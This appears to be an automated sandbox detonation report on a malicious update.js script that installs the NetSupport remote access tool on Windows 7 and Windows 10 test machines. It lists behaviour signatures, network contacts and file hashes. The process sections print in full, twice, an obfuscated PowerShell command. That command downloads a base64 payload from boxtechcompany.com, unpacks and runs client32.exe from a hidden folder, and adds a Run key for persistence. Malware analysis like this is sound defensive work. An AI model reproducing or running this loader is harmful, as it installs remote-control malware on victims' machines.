Analysis Overview
SHA256
2218ec62fc556c7b06749ad5066a504264ef7d8349aac4d0c08443d380545ca3
Threat Level: Known bad
The file update.js was found to be: Known bad.
Malicious Activity Summary
NetSupport
Blocklisted process makes network request
Checks computer location settings
Executes dropped EXE
Loads dropped DLL
Adds Run key to start application
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Suspicious use of FindShellTrayWindow
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-01-24 13:23
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-01-24 13:23
Reported
2024-01-24 13:25
Platform
win7-20231215-en
Max time kernel
118s
Max time network
122s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2288 wrote to memory of 2712 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2288 wrote to memory of 2712 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2288 wrote to memory of 2712 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $OsDVkrlGkES='https://boxtechcompany.com/1/GetData.php?6391';$xcVxNiULYzKMaIlYLqVorQ=(New-Object System.Net.WebClient).DownloadString($OsDVkrlGkES);$DpfCYRLuVHPScYcaHlibKbjfuuMhUMZVuQQ=[System.Convert]::FromBase64String($xcVxNiULYzKMaIlYLqVorQ);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $IyrierWsCFMAdjhPJnDxD=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $IyrierWsCFMAdjhPJnDxD -PathType Container)) { New-Item -Path $IyrierWsCFMAdjhPJnDxD -ItemType Directory };$p=Join-Path $IyrierWsCFMAdjhPJnDxD 'zxc.zip';[System.IO.File]::WriteAllBytes($p,$DpfCYRLuVHPScYcaHlibKbjfuuMhUMZVuQQ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$IyrierWsCFMAdjhPJnDxD)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $IyrierWsCFMAdjhPJnDxD 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $IyrierWsCFMAdjhPJnDxD -Force; $FSDFSSD.attributes='Hidden';$s=$IyrierWsCFMAdjhPJnDxD+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | boxtechcompany.com | udp |
| RU | 188.127.224.160:443 | boxtechcompany.com | tcp |
| RU | 188.127.224.160:443 | boxtechcompany.com | tcp |
Files
memory/2712-11-0x0000000002940000-0x00000000029C0000-memory.dmp
memory/2712-10-0x0000000002940000-0x00000000029C0000-memory.dmp
memory/2712-9-0x0000000002940000-0x00000000029C0000-memory.dmp
memory/2712-8-0x000007FEF58A0000-0x000007FEF623D000-memory.dmp
memory/2712-7-0x0000000002940000-0x00000000029C0000-memory.dmp
memory/2712-6-0x000007FEF58A0000-0x000007FEF623D000-memory.dmp
memory/2712-5-0x0000000002360000-0x0000000002368000-memory.dmp
memory/2712-4-0x000000001B1E0000-0x000000001B4C2000-memory.dmp
memory/2712-12-0x0000000002940000-0x00000000029C0000-memory.dmp
memory/2712-13-0x000007FEF58A0000-0x000007FEF623D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-01-24 13:23
Reported
2024-01-24 13:25
Platform
win10v2004-20231215-en
Max time kernel
91s
Max time network
128s
Command Line
Signatures
NetSupport
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-513\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-513\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-513\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-513\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-513\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-513\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-513\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX-513\\client32.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Users\Admin\AppData\Roaming\DIVX-513\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-513\client32.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3616 wrote to memory of 3652 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3616 wrote to memory of 3652 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3652 wrote to memory of 1852 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX-513\client32.exe |
| PID 3652 wrote to memory of 1852 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX-513\client32.exe |
| PID 3652 wrote to memory of 1852 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX-513\client32.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $OsDVkrlGkES='https://boxtechcompany.com/1/GetData.php?6391';$xcVxNiULYzKMaIlYLqVorQ=(New-Object System.Net.WebClient).DownloadString($OsDVkrlGkES);$DpfCYRLuVHPScYcaHlibKbjfuuMhUMZVuQQ=[System.Convert]::FromBase64String($xcVxNiULYzKMaIlYLqVorQ);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $IyrierWsCFMAdjhPJnDxD=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $IyrierWsCFMAdjhPJnDxD -PathType Container)) { New-Item -Path $IyrierWsCFMAdjhPJnDxD -ItemType Directory };$p=Join-Path $IyrierWsCFMAdjhPJnDxD 'zxc.zip';[System.IO.File]::WriteAllBytes($p,$DpfCYRLuVHPScYcaHlibKbjfuuMhUMZVuQQ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$IyrierWsCFMAdjhPJnDxD)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $IyrierWsCFMAdjhPJnDxD 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $IyrierWsCFMAdjhPJnDxD -Force; $FSDFSSD.attributes='Hidden';$s=$IyrierWsCFMAdjhPJnDxD+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
C:\Users\Admin\AppData\Roaming\DIVX-513\client32.exe
"C:\Users\Admin\AppData\Roaming\DIVX-513\client32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | boxtechcompany.com | udp |
| RU | 188.127.224.160:443 | boxtechcompany.com | tcp |
| US | 8.8.8.8:53 | 160.224.127.188.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 180.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 68.159.190.20.in-addr.arpa | udp |
| NL | 81.19.137.226:443 | tcp | |
| US | 8.8.8.8:53 | 226.137.19.81.in-addr.arpa | udp |
| US | 8.8.8.8:53 | geo.netsupportsoftware.com | udp |
| US | 104.26.1.231:80 | geo.netsupportsoftware.com | tcp |
| US | 8.8.8.8:53 | 231.1.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.142.211.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.135.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.205.248.87.in-addr.arpa | udp |
Files
memory/3652-0-0x000001AC884C0000-0x000001AC884E2000-memory.dmp
memory/3652-1-0x00007FFECC390000-0x00007FFECCE51000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ny1wykir.u0t.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3652-11-0x000001ACA0720000-0x000001ACA0730000-memory.dmp
memory/3652-12-0x000001ACA0720000-0x000001ACA0730000-memory.dmp
memory/3652-14-0x000001AC88530000-0x000001AC8853A000-memory.dmp
memory/3652-15-0x000001AC88560000-0x000001AC88572000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX-513\client32.exe
| MD5 | c4f1b50e3111d29774f7525039ff7086 |
| SHA1 | 57539c95cba0986ec8df0fcdea433e7c71b724c6 |
| SHA256 | 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d |
| SHA512 | 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5 |
C:\Users\Admin\AppData\Roaming\DIVX-513\client32.exe
| MD5 | e57f8a9415b10966d9a5264eb02a9172 |
| SHA1 | b40cb0178622fc97c51f92bd3b7b032d5eb99a64 |
| SHA256 | 4b3d50e4b3f145d6bb0b6b01a6783e40842e496ab39e0ea045c9cbc47d279b04 |
| SHA512 | a7e8b8f54ffa6fadad738df301e0673751464d53ce3e3cefbd5125d105a94d3d0bb104a4dca6baaaace08d1e1763025622e3c950ecd434f9538c5f79c7eacc6c |
C:\Users\Admin\AppData\Roaming\DIVX-513\PCICL32.dll
| MD5 | ce3584ba1927c71c2f1c722a1e105578 |
| SHA1 | 8c164e885fbbd177e396bee470f6f04603619cea |
| SHA256 | 56de7db06d746665c9a0ae6cfcae413e6135b7fa8e6ca15faa32d65390d2a41f |
| SHA512 | 3dde87c4fd28d2ed8b1d0733353d45487070a61ae988d13f65ae83808ce4560f4a35bd66e9fbf31efc47d433be974844246e819c29263d98ef22dc0e7b72cdca |
C:\Users\Admin\AppData\Roaming\DIVX-513\client32.exe
| MD5 | f8d503767e3cb9706b56d3601ebf9c4c |
| SHA1 | ebcbee81eb20f119a2f68c7af7aebc8915553019 |
| SHA256 | 1eae2c96a081d0426de78920987701e08f51311936bdfcd55e5a2fda338abff5 |
| SHA512 | ec2a29f7256bdecc10ec61df8a8c5864e4d540dc4d5bbf783fb9f1333729cf82fb64237dcbac32f9da2b0609abe064111be872b6ac75b5cabadf7d99b004b315 |
C:\Users\Admin\AppData\Roaming\DIVX-513\pcicapi.dll
| MD5 | ea28763a8980e67f9d809a60a6df582a |
| SHA1 | 809a5f337857b4c5675e3125a83d24fb814296d8 |
| SHA256 | e0fb6be8a0b93259fb2d5311424cffc946c06f91f5de41341fc71bc8d6250a3f |
| SHA512 | 113d6b2a8c0eb945670ce280a840909736e2cf8faf8c83e609fbe902b0f6392b6c3a666264a66d4fddb785230831ab1f3008ccf94bb48a7032657ea56e731673 |
C:\Users\Admin\AppData\Roaming\DIVX-513\MSVCR100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
memory/3652-82-0x00007FFECC390000-0x00007FFECCE51000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX-513\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
C:\Users\Admin\AppData\Roaming\DIVX-513\PCICHEK.DLL
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
C:\Users\Admin\AppData\Roaming\DIVX-513\PCICL32.DLL
| MD5 | 9383df389ac361ede90d40063d9b9977 |
| SHA1 | ef48112a94b6dbf8cd60c43a79c16e99451af667 |
| SHA256 | 515be25bede9da8a397c51d709acabadd7f0af0ef0082bd2ea4838259607ae51 |
| SHA512 | 2583aa9bc18728375a18a1fe9978d554a5b71ef18041b3404633c538d478e0979e8e5b06d6378beafb2b04d698f5e0922f8898fbfe59d32dda9bc8155b67de83 |
C:\Users\Admin\AppData\Roaming\DIVX-513\NSM.LIC
| MD5 | 1b41e64c60ca9dfadeb063cd822ab089 |
| SHA1 | abfcd51bb120a7eae5bbd9a99624e4abe0c9139d |
| SHA256 | f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d |
| SHA512 | c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4 |
C:\Users\Admin\AppData\Roaming\DIVX-513\client32.ini
| MD5 | 5d5a682d300dd44ec669829d77790b31 |
| SHA1 | 9a124709f1a17f18b61179bfed6797df13e387a2 |
| SHA256 | 22f3be353ce99ddc16179f0280936fd2626b949efc3dacf0d23c085a98503ec8 |
| SHA512 | beff890c9e59d2033a15eda015db137da44ca77a7361f8b1a1ea76a6138806c898f9eac8a7a794ca0dc32e1f3c5e5bd8058a52164652d015df02305786f407e7 |
C:\Users\Admin\AppData\Roaming\DIVX-513\HTCTL32.DLL
| MD5 | c94005d2dcd2a54e40510344e0bb9435 |
| SHA1 | 55b4a1620c5d0113811242c20bd9870a1e31d542 |
| SHA256 | 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899 |
| SHA512 | 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a |